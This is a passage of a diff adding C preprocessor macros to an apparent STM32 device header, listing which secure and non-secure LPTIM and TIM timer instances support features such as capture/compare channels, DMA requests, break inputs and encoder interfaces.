(((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/************* LPTIM Instances : at least 1 capture/compare channel ***********/ +#define IS_LPTIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/************* LPTIM Instances : at least 2 capture/compare channel ***********/ +#define IS_LPTIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** LPTIM Instances : supporting encoder interface **************/ +#define IS_LPTIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** LPTIM Instances : supporting Input Capture **************/ +#define IS_LPTIM_INPUT_CAPTURE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM5_NS) || ((INSTANCE) == LPTIM5_S) ||\ + ((INSTANCE) == LPTIM6_NS) || ((INSTANCE) == LPTIM6_S)) + +/****************** TIM Instances : All supported instances *******************/ +#define IS_TIM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 32 bits counter ****************/ +#define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) + +/****************** TIM Instances : supporting the break function *************/ +#define IS_TIM_BREAK_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************** TIM Instances : supporting Break source selection *************/ +#define IS_TIM_BREAKSOURCE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 2 break inputs *****************/ +#define IS_TIM_BKIN2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : at least 1 capture/compare channel *************/ +#define IS_TIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : at least 2 capture/compare channels *************/ +#define IS_TIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/************ TIM Instances : at least 3 capture/compare channels *************/ +#define IS_TIM_CC3_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************ TIM Instances : at least 4 capture/compare channels *************/ +#define IS_TIM_CC4_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 5 capture/compare channels *******/ +#define IS_TIM_CC5_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : at least 6 capture/compare channels *******/ +#define IS_TIM_CC6_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : DMA requests generation (TIMx_DIER.UDE) ***/ +#define IS_TIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/************ TIM Instances : DMA requests generation (TIMx_DIER.CCxDE) *******/ +#define IS_TIM_DMA_CC_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************** TIM Instances : DMA burst feature ***********************/ +#define IS_TIM_DMABURST_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : output(s) available **********************/ +#define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1)))) + +/****************** TIM Instances : supporting complementary output(s) ********/ +#define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1))) + +/****************** TIM Instances : supporting clock division *****************/ +#define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****** TIM Instances : supporting external clock mode 1 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : supporting external clock mode 2 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ +#define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ +#define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM13_NS) || ((INSTANCE) == TIM13_S) || \ + ((INSTANCE) == TIM14_NS) || ((INSTANCE) == TIM14_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting combined 3-phase PWM mode ******/ +#define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting commutation event generation ***/ +#define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting counting mode selection ********/ +#define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting encoder interface **************/ +#define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting Hall sensor interface **********/ +#define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/**************** TIM Instances : external trigger input available ************/ +#define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/************* TIM Instances : supporting ETR source selection ***************/ +#define IS_TIM_ETRSEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : Master mode available (TIMx_CR2.MMS available )********/ +#define IS_TIM_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/*********** TIM Instances : Slave mode available (TIMx_SMCR available )*******/ +#define IS_TIM_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting OCxREF clear *******************/ +#define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : remapping capability **********************/ +#define IS_TIM_REMAP_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting repetition counter *************/ +#define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ +#define IS_TIM_TRGO2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/******************* TIM Instances : Timer input XOR function *****************/ +#define IS_TIM_XOR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : Timer input selection ********************/ +#define IS_TIM_TISEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM12_NS) || ((INSTANCE) == TIM12_S)|| \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)|| \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)|| \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : supporting bitfield RTCPREEN in OR1 register ********************/ +#define IS_TIM_RTCPREEN_INSTANCE(INSTANCE) (((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : Advanced timer instances *******************/ +#define IS_TIM_ADVANCED_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting synchronization ****************/ +#define IS_TIM_SYNCHRO_INSTANCE(__INSTANCE__) (((__INSTANCE__) == TIM1_NS) || ((__INSTANCE__) == TIM1_S) || \ + ((__INSTANCE__) == TIM2_NS) || ((__INSTANCE__) == TIM2_S) || \ + ((__INSTANCE__) == TIM3_NS) || ((__INSTANCE__) == TIM3_S) || \ + ((__INSTANCE__) == TIM4_NS) 